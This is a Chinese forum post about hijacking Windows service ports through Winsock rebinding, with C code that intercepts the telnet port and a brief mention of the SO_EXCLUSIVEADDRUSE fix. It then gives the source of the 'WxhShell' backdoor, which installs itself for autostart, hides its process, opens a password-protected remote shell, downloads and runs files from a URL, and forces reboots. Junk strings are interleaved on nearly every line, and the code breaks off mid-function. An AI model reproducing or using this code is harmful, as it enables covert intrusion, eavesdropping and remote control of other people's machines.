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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y T1Qep  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P9tQS"Rs  
/qz "I-a  
  saddr.sin_family = AF_INET; |au qj2  
>kDdWgRQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4W//Oc@e  
XnI ;7J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wMPw/a;  
X\$W'^np  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;KZtW  
fO|~Oz<S  
  这意味着什么?意味着可以进行如下的攻击: 0@FM^ejA#  
l SVW}t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @BHS5^|  
{i%x s#0h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "aCb;2Rs  
CAo )v,f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1f pS"_}  
4gkV]" H!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +^&v5[$R  
T m@1q!G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3}#XA+Z  
c!u}KVH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Dy{`">a  
z)Q^j>%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~ Dp:j*H  
8$<AxNR  
  #include yL3<X w|  
  #include wq_oh*"  
  #include | 8L`osg  
  #include    %d[xr h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rX>y>{w~  
  int main() r(in]7  
  { ]20 "la5  
  WORD wVersionRequested; tId !C  
  DWORD ret; };|PFWs  
  WSADATA wsaData; 5 *pN<S  
  BOOL val; ks#Z~6+3  
  SOCKADDR_IN saddr; /jn3'q_,  
  SOCKADDR_IN scaddr; &pY G   
  int err; u g:G9vjQ  
  SOCKET s; i(f;'fb*  
  SOCKET sc; \Af|$9boHz  
  int caddsize; On.x~ t  
  HANDLE mt; E#2k|TpH4  
  DWORD tid;   `w=H'"Zv  
  wVersionRequested = MAKEWORD( 2, 2 ); -z 5k4Y  
  err = WSAStartup( wVersionRequested, &wsaData ); .kKwdqO+zB  
  if ( err != 0 ) { FPUR0myCU  
  printf("error!WSAStartup failed!\n"); L|1zHDxQ  
  return -1; C94UF7al  
  } hHl-;%#  
  saddr.sin_family = AF_INET; ExP25T  
   j]l}K*8(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hC, -9c  
nk3<]u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aCi^^}!  
  saddr.sin_port = htons(23); X@AkA9'fq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s^?sJUj  
  { \y )4`A  
  printf("error!socket failed!\n"); PLD'Q,R  
  return -1; )(!Z90@  
  } 7CL@i L Tq  
  val = TRUE; g&F<Uv#mZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T!xy^n]}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aLk2#1$g  
  { L%O8vn^3  
  printf("error!setsockopt failed!\n"); Fx99"3`3  
  return -1; n25tr'=  
  } (`y|AOs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y3[)zv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b G5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *;yMD-=  
o4 g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nl<,rD+KSD  
  { ^}7t:  
  ret=GetLastError(); -QI`npsnV  
  printf("error!bind failed!\n"); p+sPCF  
  return -1; {i}Q}OgYq  
  } ftU5 A@(T  
  listen(s,2); Hr*Pi3dSI  
  while(1) 6`";)T[G9  
  { <d&)|W  
  caddsize = sizeof(scaddr); f uN XY-;  
  //接受连接请求 34^Cfh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O#5( U. E  
  if(sc!=INVALID_SOCKET) cA SHgm  
  {  <IDzv'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0:+uw` %  
  if(mt==NULL) kBT}Siw  
  { =egi?Ne  
  printf("Thread Creat Failed!\n"); k\<Ln w  
  break; @OY-(cW  
  } 0\ w[_H  
  } 10 H!  
  CloseHandle(mt); k Q(y^tW  
  } )$4DH:WN  
  closesocket(s); EEZ2Gu6c  
  WSACleanup(); ;GT)sI   
  return 0; U@5Z9/n{  
  }   UYrzsUjg&  
  DWORD WINAPI ClientThread(LPVOID lpParam) h}&IlDG  
  { 2+PIZ6=hN  
  SOCKET ss = (SOCKET)lpParam; rNc>1}DDS  
  SOCKET sc; ?L^ Gu ]y  
  unsigned char buf[4096]; X!Q"p$D4(  
  SOCKADDR_IN saddr; 16vfIUtb  
  long num; r DuG["  
  DWORD val; .+yJ'*i$d  
  DWORD ret; -|mABHjx*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }_ E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X}$S|1CjO  
  saddr.sin_family = AF_INET; I/g]9 y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #'qW?8d}  
  saddr.sin_port = htons(23); Vs >1%$If  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h.nzkp5  
  { M:x(_Lu  
  printf("error!socket failed!\n"); k4v[2y`  
  return -1; V6Y!0,w!a  
  } ''G @n*  
  val = 100; !SnpesTn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _N6GV$Q  
  { <$E8T>U  
  ret = GetLastError(); rgr> ;   
  return -1; OR3TRa XD  
  } A!c.P2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ne%X:h  
  { 8g\.1<~  
  ret = GetLastError(); JmkJ^-A 6  
  return -1; j.o)!S A  
  } Uu ,Re  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y3?kj@T`i  
  { 3jeR;N]x  
  printf("error!socket connect failed!\n"); Nbr{)h  
  closesocket(sc); &A~1Q#4  
  closesocket(ss); ,M9'S;&^  
  return -1; m9/a!|fBE  
  } ;k>{I8L~  
  while(1)  u!(|y9p  
  { YV+e];s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *N7\d9y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \>+gZc]an  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uaiG (O   
  num = recv(ss,buf,4096,0); OnG?@sW+4!  
  if(num>0) I)clGMS,  
  send(sc,buf,num,0); 5QlJX  
  else if(num==0) `|gCbs95  
  break;  BzDS  
  num = recv(sc,buf,4096,0); i+OyBDkJM!  
  if(num>0) BJqM=<nQ  
  send(ss,buf,num,0); 1Z`zdZs  
  else if(num==0) $lvpBs  
  break; 6uDNqq  
  } qu?D`29  
  closesocket(ss); y<)x`&pcD  
  closesocket(sc); &`@K/Nf$9  
  return 0 ; {L#Pdj{  
  } 8$1<N  
HR4^+x  
oC[$PPqX#  
========================================================== AtSEKpKc  
)F:hv[iv  
下边附上一个代码,,WXhSHELL ;#AV~Y- s  
-q[?,h  
========================================================== xR$xAcoSB  
By" =]|Q  
#include "stdafx.h" *edB3!!  
nM@S`"  
#include <stdio.h> (%tKGeb  
#include <string.h> &P rx=L`  
#include <windows.h> hS<+=3 <M  
#include <winsock2.h> }=NjFK_6  
#include <winsvc.h> )nQ.6  
#include <urlmon.h> G"wy?  
L\pe  
#pragma comment (lib, "Ws2_32.lib") A%pcPzG;  
#pragma comment (lib, "urlmon.lib") $Die~rPU  
^MuO;<<,.  
#define MAX_USER   100 // 最大客户端连接数 gE|_hfm(  
#define BUF_SOCK   200 // sock buffer *U8Pjb1  
#define KEY_BUFF   255 // 输入 buffer l9\ *G;  
Or0=:?4`  
#define REBOOT     0   // 重启 U5odSR$  
#define SHUTDOWN   1   // 关机 K^EW*6vB8O  
4&}LYSZl  
#define DEF_PORT   5000 // 监听端口 OQA}+XO  
F8f@^LVM/  
#define REG_LEN     16   // 注册表键长度 tv5G']vO\  
#define SVC_LEN     80   // NT服务名长度 Pr9$( 6MX  
+ Uq$'2CT  
// 从dll定义API iCnKQG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h49|x&03  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bi9 S1 p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tRFj<yuaq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CM_FF:<tn  
h,45-#+  
// wxhshell配置信息 hIE$ut +  
struct WSCFG { abp]qvCV  
  int ws_port;         // 监听端口 K} LmU{/t/  
  char ws_passstr[REG_LEN]; // 口令 ~J)_S' #  
  int ws_autoins;       // 安装标记, 1=yes 0=no pO[ @2tF  
  char ws_regname[REG_LEN]; // 注册表键名 E)7vuWO O  
  char ws_svcname[REG_LEN]; // 服务名 9 "7(Jq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oSq4g{xvMH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F|Pf-.r`t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -A^18r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q#$Al  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KEEHb2q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~dg7c{o5  
[@(M%  
}; rOHU)2  
u_shC"X:  
// default Wxhshell configuration TCWy^8LA  
struct WSCFG wscfg={DEF_PORT, ;EDc1:  
    "xuhuanlingzhe", -{n2^vvF  
    1, pUi|&F K">  
    "Wxhshell", MEf`&<t  
    "Wxhshell", 78T9"CS  
            "WxhShell Service", a\;Vly;  
    "Wrsky Windows CmdShell Service", >]s\%GO  
    "Please Input Your Password: ", e=e^;K4  
  1, ,rc?,J1l  
  "http://www.wrsky.com/wxhshell.exe", {xJq F4  
  "Wxhshell.exe" M$iDaEu-  
    }; $R6iG\V5  
[;~:',vHQf  
// 消息定义模块 T%zCAfx m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )IQ5Qu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Va"H.]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lOB*M!8   
char *msg_ws_ext="\n\rExit."; Av6=q=D  
char *msg_ws_end="\n\rQuit."; DO6Tz -%o  
char *msg_ws_boot="\n\rReboot..."; x \0( l5>  
char *msg_ws_poff="\n\rShutdown..."; s[<a(  
char *msg_ws_down="\n\rSave to "; NX.%Rj*  
+c'b=n9j  
char *msg_ws_err="\n\rErr!"; \A "_|Yg  
char *msg_ws_ok="\n\rOK!"; |W $epOLg  
IY_u|7d  
char ExeFile[MAX_PATH]; Q5%$P\  
int nUser = 0; ye?4^@u u  
HANDLE handles[MAX_USER]; f 0"N  
int OsIsNt; ^hL?.xj  
$r>$ u  
SERVICE_STATUS       serviceStatus; uT1xvXfqP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }7Lo}}  
<7  
// 函数声明 'DLgOUvh  
int Install(void); tFj[>_d7  
int Uninstall(void); 3jR>   
int DownloadFile(char *sURL, SOCKET wsh); 1=o|[7  
int Boot(int flag); pX 4:WV  
void HideProc(void); ^ &UezDTS  
int GetOsVer(void); o4Ny9s  
int Wxhshell(SOCKET wsl); ^v2-"mX<  
void TalkWithClient(void *cs); Jeb"t1.$  
int CmdShell(SOCKET sock); ]\TYVv)  
int StartFromService(void); MawWgd*  
int StartWxhshell(LPSTR lpCmdLine); SK][UxoHm  
b\ P6,s'(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dio<?6ZD9P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $nf5bo/;  
@'5*u~M  
// 数据结构和表定义 *HC[LM  
SERVICE_TABLE_ENTRY DispatchTable[] = H]I^?+)9  
{ &PE/\_xD_  
{wscfg.ws_svcname, NTServiceMain}, . W7Z pV  
{NULL, NULL} W'98ues%  
}; pYxdE|2j  
U-]Rm}X\M  
// 自我安装 *- S/{ .&  
int Install(void) PQ0l<]Y  
{ Jm#mC  
  char svExeFile[MAX_PATH]; JkfVsmc<{h  
  HKEY key; b '9L}q2m  
  strcpy(svExeFile,ExeFile); [c`u   
1J{1>r  
// 如果是win9x系统,修改注册表设为自启动 M94zlW<  
if(!OsIsNt) { ]QqT.z%B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \gU=B|W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 178u4$# b  
  RegCloseKey(key); eV"Za.a.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iHYvH   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); arQEi  
  RegCloseKey(key); +t8{aaV  
  return 0; U%PII>s'#  
    } l<DpcLX  
  } .dE2,9{Z  
} hQFF%xl  
else { . a@>1XO  
H)@f_pfj(  
// 如果是NT以上系统,安装为系统服务  f3E%0cg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l)P~#G+C  
if (schSCManager!=0) \9Yc2$dY  
{ ,Oj 53w=  
  SC_HANDLE schService = CreateService `A0trC3  
  ( v:xfGA nP  
  schSCManager, sM  _m  
  wscfg.ws_svcname, 3W#f Fy  
  wscfg.ws_svcdisp, =7l'3z8  
  SERVICE_ALL_ACCESS, _oU}>5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 13f@Ox$  
  SERVICE_AUTO_START, z>&|:VGG  
  SERVICE_ERROR_NORMAL, IPTEOA<M[  
  svExeFile, q33Z.3R  
  NULL, YT@D*\  
  NULL, qiyX{J7Z  
  NULL, F,)\\$=,  
  NULL, iH;IXv,b3  
  NULL i| /EA7  
  ); o)U4RY*  
  if (schService!=0) Up*.z\|'y  
  { p2)563#RS  
  CloseServiceHandle(schService); >vny9^_  
  CloseServiceHandle(schSCManager); 49Y_ze6L}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); + m+v1(@  
  strcat(svExeFile,wscfg.ws_svcname); 3{/Y&/\"'^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %]iE(!>3oy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VKtZyhK"h  
  RegCloseKey(key);  ]$=\zL  
  return 0; {g@?\  
    } y$h.k"x`  
  } ='U>P( R-  
  CloseServiceHandle(schSCManager); !h[xeLlU  
} tpQ?E<O  
} Oh]RIWL  
KN\*|)  
return 1; 4IUdlb  
} NKX62 ZC  
F caO-  
// 自我卸载 $eQf5)5  
int Uninstall(void) Z H1UAf  
{ xJemc3]2  
  HKEY key; piPx8jT`F  
u}~jNV  
if(!OsIsNt) { KO''B or  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +"8-)'  
  RegDeleteValue(key,wscfg.ws_regname); 2]i>kV/,0  
  RegCloseKey(key); <Z:Fnp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )i$:iI >k  
  RegDeleteValue(key,wscfg.ws_regname); 8+=-!": ]  
  RegCloseKey(key); >x0)  
  return 0; K'tckJ#%  
  } b>_eD-  
} |u5Xi5q.f  
} 3{"MN=  
else { |Js?@  
<{"Jy)Uf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A KjCm*K(q  
if (schSCManager!=0) :.J]s<J(F  
{ 8V f]K}d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 898=9`7e  
  if (schService!=0) &E+2  
  { {EL J!o[  
  if(DeleteService(schService)!=0) { QgB%\mO=  
  CloseServiceHandle(schService); |on$ )vm  
  CloseServiceHandle(schSCManager); h^aUVuL/  
  return 0; *v6 j7<H  
  } y%NZ(Y,v  
  CloseServiceHandle(schService); WN`|5"?$  
  } KvtX>3#qM  
  CloseServiceHandle(schSCManager); CgxGvM4  
} lAZn0EU  
} !c#~g0H+  
?loP18S b  
return 1; UP?]5x>  
} j 5{ "j  
gPYF2m  
// 从指定url下载文件 %*Aq%,.={  
int DownloadFile(char *sURL, SOCKET wsh) S(MVL!Lm  
{ =(%+S<}  
  HRESULT hr; P S [ifC  
char seps[]= "/"; #lo1GoL\  
char *token; \&Bvh4Q  
char *file; SRfnT?u6  
char myURL[MAX_PATH]; qQ=\R1l  
char myFILE[MAX_PATH]; VzZ'W[/7)B  
:^92B?q  
strcpy(myURL,sURL); q\q8xF~[p  
  token=strtok(myURL,seps); 2S#|[wq(  
  while(token!=NULL) '(o*l  
  { rM5{R}+;  
    file=token; | bWvQdN  
  token=strtok(NULL,seps); +D&aE$<  
  } <~ 9a3c?  
_Vl22'wl  
GetCurrentDirectory(MAX_PATH,myFILE); mYRW/8+g  
strcat(myFILE, "\\"); lf?dTPrD  
strcat(myFILE, file); c^a D r  
  send(wsh,myFILE,strlen(myFILE),0); L28DBjE)A  
send(wsh,"...",3,0); Bk)*Z/1<x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F\U^-/0,  
  if(hr==S_OK) o1B8_$aYgc  
return 0; Okt0b|=`1*  
else :,]*~Nl  
return 1; r'5~4'o$  
U 4Sxr  
} \ =(r6X  
dnXre*rhz  
// 系统电源模块 [(65^Zl`  
int Boot(int flag) 5S&'O4yz^  
{ !da [#zK  
  HANDLE hToken; dd&n>A3O=  
  TOKEN_PRIVILEGES tkp; Z&w/JP?  
%D9,Femt  
  if(OsIsNt) { -<MA\iSP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $22_>OsA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +^0Q~>=VD  
    tkp.PrivilegeCount = 1; aUVJ\ ;V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [>^xMF]$2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0[SJ7k19  
if(flag==REBOOT) { g.9:R=JPT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dd{pF\a  
  return 0; \ f6@B:?y  
} gp`H>Sn.|  
else { #x^dR-@   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w4UaWT1J  
  return 0; /j|Rz5@ =  
} hynX5,p;.  
  } (}jYi*B  
  else { k_$9cVA  
if(flag==REBOOT) { JxlU=7cF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xP+HdA2X  
  return 0; =:~%$5[[  
} p(J,fus  
else { ud}B#{6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FdZG%N>Z  
  return 0; ImnN&[Cu  
} E?@batIrf  
} {TV6eV  
9"%ot=)  
return 1; 2wKW17wj,  
} g*uo2-MN&e  
[`'[)B  
// win9x进程隐藏模块 e.<y-b?  
void HideProc(void) H|]~(.w 1}  
{ "h>B`S  
,cg%t9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IW1+^F9NEw  
  if ( hKernel != NULL ) |` +G7?)Y  
  { 4PVkKP'/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ecjjCt2S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ED>T2.:{  
    FreeLibrary(hKernel); K}(0H[P  
  } :^Ouv1!e1  
EP ;TfWc}1  
return; k- ?:0  
} k'hJ@ 6eKS  
R"0fZENTG  
// 获取操作系统版本 mV58&SZT  
int GetOsVer(void) /%'>?8/  
{ MK*WStY  
  OSVERSIONINFO winfo; %I&[:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1E]|>)$  
  GetVersionEx(&winfo); GdxMHnn=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ELlTR/NW  
  return 1; !oDX+hd,%>  
  else LZ"yMnhOf  
  return 0; _Coh11  
} 8LH"j(H  
+/L "A  
// 客户端句柄模块 ~jqG  
int Wxhshell(SOCKET wsl) ^JKV~+ Q  
{ T==(Pw7R7  
  SOCKET wsh; :=I@<@82W  
  struct sockaddr_in client; KG5h$eM'  
  DWORD myID; (zm5 4 Vm  
lQnl6j  
  while(nUser<MAX_USER) 7i,Z c]  
{ 0%9Nf!j  
  int nSize=sizeof(client); ?2#v`Z=L;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e>:bV7h j~  
  if(wsh==INVALID_SOCKET) return 1; D~< 3  
NvZ )zE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x@@U&.1_A  
if(handles[nUser]==0) *i}Nb* Z3  
  closesocket(wsh); -RSPYQjz  
else P [.BK  
  nUser++; q $Hg\ {c  
  } 5g{L -8XwI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |Bv?! sjf  
Or0eY#c  
  return 0; kg>Ymo.  
} D~;hIt*  
1lxsj{>U  
// 关闭 socket 3E!#?N|v  
void CloseIt(SOCKET wsh) A1zqm_X5)P  
{ >@2l/x8;  
closesocket(wsh); [I`r[u  
nUser--; q;))3aQe  
ExitThread(0); 5 W<\J  
} MZ(TST"  
g[rxK n\Z  
// 客户端请求句柄 P(_wT:8C?  
void TalkWithClient(void *cs) VtR?/+8X  
{ nt/+?Sj  
_.xT :b36  
  SOCKET wsh=(SOCKET)cs; -XVC,.Ly  
  char pwd[SVC_LEN]; ]7QRelMiz+  
  char cmd[KEY_BUFF]; d(>7BV  
char chr[1]; G;n'c7BV  
int i,j; [e2sUO0~r  
FkdG@7Xf  
  while (nUser < MAX_USER) { OHqc,@a;+  
(c /H$'  
if(wscfg.ws_passstr) { dQ=mg#(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U&fOsx?"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 05(lh<C  
  //ZeroMemory(pwd,KEY_BUFF); C+r<DC3  
      i=0; 5Rv6+d  
  while(i<SVC_LEN) { {iP^51fy  
Md \yXp  
  // 设置超时 i$) `U]  
  fd_set FdRead; $XFiH~GI  
  struct timeval TimeOut; `.z;.&x  
  FD_ZERO(&FdRead); ?_e2)+q8YG  
  FD_SET(wsh,&FdRead); ,x| 4nk_  
  TimeOut.tv_sec=8; a!,q\p8<t0  
  TimeOut.tv_usec=0; {:&t;5qz^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }5H3DavW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %]JSDb=C  
*p;Fwj]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "5mdq-h(  
  pwd=chr[0]; $_-f}E  
  if(chr[0]==0xd || chr[0]==0xa) { kji*7a?y  
  pwd=0; AL/q6PWi  
  break; OO@ (lt  
  } huu:z3{=J  
  i++; bk E4{P"  
    } >]q{vKCAP  
Kk2PWJ7  
  // 如果是非法用户,关闭 socket ylF%6!V}4V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M,Q(7z?#5  
} B$aA=+<S  
eK\1cs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vx@JP93|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0c4H2RW  
ffK A  
while(1) { \2#>@6Sqrl  
MXY[t  
  ZeroMemory(cmd,KEY_BUFF); YC#N],#  
nwh7DU i  
      // 自动支持客户端 telnet标准   *.wX9g9\  
  j=0; YaJ[39V  
  while(j<KEY_BUFF) { q3\ YL?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m72r6Yq2@  
  cmd[j]=chr[0];  V3WHp'1  
  if(chr[0]==0xa || chr[0]==0xd) { S6gg(nNe  
  cmd[j]=0; R]e?<,"X  
  break; 1.YDIB||  
  } GU'/-6-T  
  j++; =Jfo=`da  
    } Sw<@u+Z;%  
5LU8QHj3  
  // 下载文件 (j;s6g0  
  if(strstr(cmd,"http://")) { V dp wZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )%lPa|7s  
  if(DownloadFile(cmd,wsh)) 5y;texsj[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6m_ fEkS[  
  else s(W]>Ib  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @l:\0cO  
  } ?zW4|0  
  else { ?yop#tjCbY  
.6Tan2[%  
    switch(cmd[0]) { CAdqoCz|  
  v0)I rO  
  // 帮助 9~i=Af@  
  case '?': { [%'yHb~<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R{"Kh2q_  
    break; 2mj?&p?  
  } {\3ZmF  
  // 安装 ^6R?UG;6  
  case 'i': { C&Rv$<qc  
    if(Install()) f& P'Kxj_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9<BC6M_/  
    else gE$D#PZa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rw(EI,G  
    break; ~R-P%l P  
    } D4nYyj1O3  
  // 卸载 )Y.H*ca  
  case 'r': { Dy`;]-b6u  
    if(Uninstall()) ,@1rP55  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qzD<_ynA  
    else UXpF$=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .!|\Y!]^r  
    break; D@@J7  
    } c'#w 8 V  
  // 显示 wxhshell 所在路径 6 axe  
  case 'p': { LsB|}_j7  
    char svExeFile[MAX_PATH]; aX CVC<l  
    strcpy(svExeFile,"\n\r"); >@?!-Fy5  
      strcat(svExeFile,ExeFile); F/33# U  
        send(wsh,svExeFile,strlen(svExeFile),0); G)~/$EF,_  
    break; &c[.&L,w4  
    } ;ED` 7  
  // 重启 o@T-kAEf-.  
  case 'b': {  S9\_ODv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =+>cTV  
    if(Boot(REBOOT)) 7dxTyn=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h"O4r8G}  
    else { B?M&j  
    closesocket(wsh); ))M!"*  
    ExitThread(0); JTg:3<L  
    } )>-94xx|  
    break; LT+QW  
    } mf4C68DI@u  
  // 关机 s>pM+PoGYd  
  case 'd': { 3 UXaA;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MKiP3kt8  
    if(Boot(SHUTDOWN)) P|U9f6^3  
